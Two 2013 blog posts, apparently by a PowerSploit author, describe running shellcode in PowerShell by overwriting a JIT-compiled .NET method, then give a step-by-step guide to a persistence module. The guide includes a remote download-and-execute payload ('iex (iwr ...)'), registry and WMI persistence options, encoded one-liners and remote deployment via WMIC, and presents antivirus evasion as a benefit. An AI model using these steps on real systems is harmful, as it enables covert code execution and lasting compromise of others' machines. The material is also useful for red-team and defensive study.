Friday, April 5, 2013

Shellcode Execution in .NET using MSIL-based JIT Overwrite

Download: Invoke-ShellcodeMSIL

While investigating MSIL opcodes a while back, I uncovered a useful opcode - Cpblk. Cpblk is the MSIL equivalent of a memcpy. After writing a .NET method that utilized Cpblk, I immediately thought of a practical use - overwrite a JITed .NET method with shellcode. That way, I could execute shellcode directly without needing to call any Win32 functions. I wrote Invoke-ShellcodeMSIL as an implementation of my idea.

For those who are unfamiliar with MSIL. MSIL is Microsoft's implementation of the Common Interface Language or in other words, .NET bytecode. Using reflection or an IL assembler (like ilasm), you can craft .NET methods using raw MSIL opcodes. There is a great introduction to MSIL opcode assembly in "Metaprogramming in .NET."

For Invoke-ShellcodeMSIL, I wrote a dummy method that simply XORs an input number 101 times. I chose to use an XOR function because I was confident that it would not be optimized during the JIT process. As a consequence, this dummy method will contain sufficient space for a shellcode buffer.

I then wrote the 'memcpy' method using the following opcodes:

Ldarg_0 - Arg0 is the destination buffer (i.e. the address of the dummy JITed method)
Ldarg_1 - Arg1 is the source buffer (i.e. where my shellcode is allocated in RW memory)
Ldarg_2 - Arg2 is the length of the source buffer

After defining the XOR method using reflection, I executed it twenty times in order to force the method to be JITed. Finally, I called my overwrite method and overwrote the JITed XOR method with my shellcode. Here are the screenshots of the disassembly before (left) and after (right) the overwrite:

When you provide your shellcode to Invoke-ShellcodeMSIL, make sure your shellcode ends in a RET and that the stack is in proper alignment (duh :P) or PowerShell will crash. A shellcode stub us generated at runtime depending upon the bitness PowerShell. All it does is save the non-volatile registers, jump to your shellcode, and return zero to the caller. The rest is up to you. :D


Thursday, April 4, 2013

Practical Persistence with PowerShell

Download: Persistence Module

As I've preached continuously, PowerShell is the ideal post-exploitation tool in a Windows environment. A PowerShell-based payload can accomplish the same tasks of any compiled payload all without fear of flagging anti-virus. Unfortunately, PowerShell offers no built in method of persisting your payloads. PowerShell v3 introduced a scheduled tasks module but obviously, this only works with v3 and you're out of luck if you want to persist via any other method.

I developed a persistence module for PowerShell that solves the challenges of persisting scripts once and for all. The module adds persistence capabilities to any PowerShell script. Upon persisting, the script will strip out its persistence logic.

Generating a persistent script is relatively straightforward:

1) Drop the 'Persistence' folder into your module directory (usually $Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules) or just install the entire PowerSploit module.

2) Import the 'Persistence' module

Import-Module Persistence

3) Create your payload. This can come in the form of a scriptblock or a ps1 file. In this example, I'll be using a scriptblock consisting of a rickroll payload. ;D

$Rickroll = { iex (iwr ) }

4) Specify the desired limited-user persistence options:

$UserOptions = New-UserPersistenceOptions -Registry -AtLogon

5) Specify the desired elevated persistence options:

$ElevatedOptions = New-ElevatedPersistenceOptions -PermanentWMI -Daily -At '3 PM'

6) Apply the persistence options to the rockroll payload. A persistence and removal script will be generated:

Add-Persistence -ScriptBlock $Rickroll -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -PassThru -Verbose

6a) Optionally, create a one-liner out of the generated persistence script (requires the full PowerSploit module):

Add-Persistence -ScriptBlock $Rickroll -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -PassThru -Verbose |
Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1

7) The generated script will look like this:
8) Deploy the payload. In my example, I will execute the persistent payload remotely using WMIC and the encoded one-liner I generated:
9) The payload has now persisted on the target machine. Sit back and let the hilarity ensue.